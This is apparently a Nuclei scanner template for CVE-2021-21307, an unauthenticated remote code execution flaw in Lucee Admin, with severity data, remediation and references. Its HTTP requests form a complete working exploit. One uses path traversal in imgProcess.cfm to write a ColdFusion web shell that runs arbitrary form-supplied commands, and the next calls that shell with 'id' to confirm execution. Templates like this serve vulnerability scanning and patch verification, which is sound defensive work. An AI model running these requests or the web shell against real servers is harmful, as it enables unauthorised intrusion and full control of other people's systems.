CVE-2021-21307: Lucee Admin - Remote Code Execution

id: CVE-2021-21307

info:
  name: Lucee Admin - Remote Code Execution
  author: dhiyaneshDk
  severity: critical
  description: Lucee Admin before versions 5.3.7.47, 5.3.6.68 or 5.3.5.96 contains an unauthenticated remote code execution vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: This is fixed in versions 5.3.7.47, 5.3.6.68 or 5.3.5.96. As a workaround, block access to the Lucee Administrator.
  reference:
    - https://github.com/lucee/Lucee/security/advisories/GHSA-2xvv-723c-8p7r
    - https://github.com/httpvoid/writeups/blob/main/Apple-RCE.md
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21307
    - http://ciacfug.org/blog/updating-lucee-as-part-of-a-vulnerability-alert-response
    - https://dev.lucee.org/t/lucee-vulnerability-alert-november-2020/7643
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-21307
    cwe-id: CWE-862
    epss-score: 0.92213
    epss-percentile: 0.99706
    cpe: cpe:2.3:a:lucee:lucee_server:*:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: lucee
    product: lucee_server
  tags: cve2021,cve,rce,lucee,adobe

http:
  - raw:
      - |
        POST /lucee/admin/imgProcess.cfm?file=/whatever HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        imgSrc=a
      - |
        POST /lucee/admin/imgProcess.cfm?file=/../../../context/{{randstr}}.cfm HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        imgSrc=
        <cfoutput>

        <table>
        <form method="POST" action="">
        <tr><td>Command:</td><td><input type=test name="cmd" size=50
        <cfif isdefined("form.cmd")>value="#form.cmd#"</cfif>><br></td></tr>
        <tr><td>Options:</td><td> <input type=text name="opts" size=50
        <cfif isdefined("form.opts")>value="#form.opts#"</cfif>><br></td></tr>
        <tr><td>Timeout:</td><td> <input type=text name="timeout" size=4
        <cfif isdefined("form.timeout")>value="#form.timeout#"
        <cfelse> value="5"</cfif>></td></tr>
        </table>
        <input type=submit value="Exec" >
        </form>
        <cfif isdefined("form.cmd")>
        <cfsavecontent variable="myVar">
        <cfexecute name = "#Form.cmd#"
        arguments = "#Form.opts#"
        timeout = "#Form.timeout#">
        </cfexecute>
        </cfsavecontent>
        <pre>
      # HTMLCodeFormat(myVar)# </pre> </cfif> </cfoutput>
      - |
        POST /lucee/{{randstr}}.cfm HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
        Content-Type: application/x-www-form-urlencoded

        cmd=id&opts=&timeout=5

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "uid="
          - "gid="
          - "groups="
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        regex:
          - "(u|g)id=.*"
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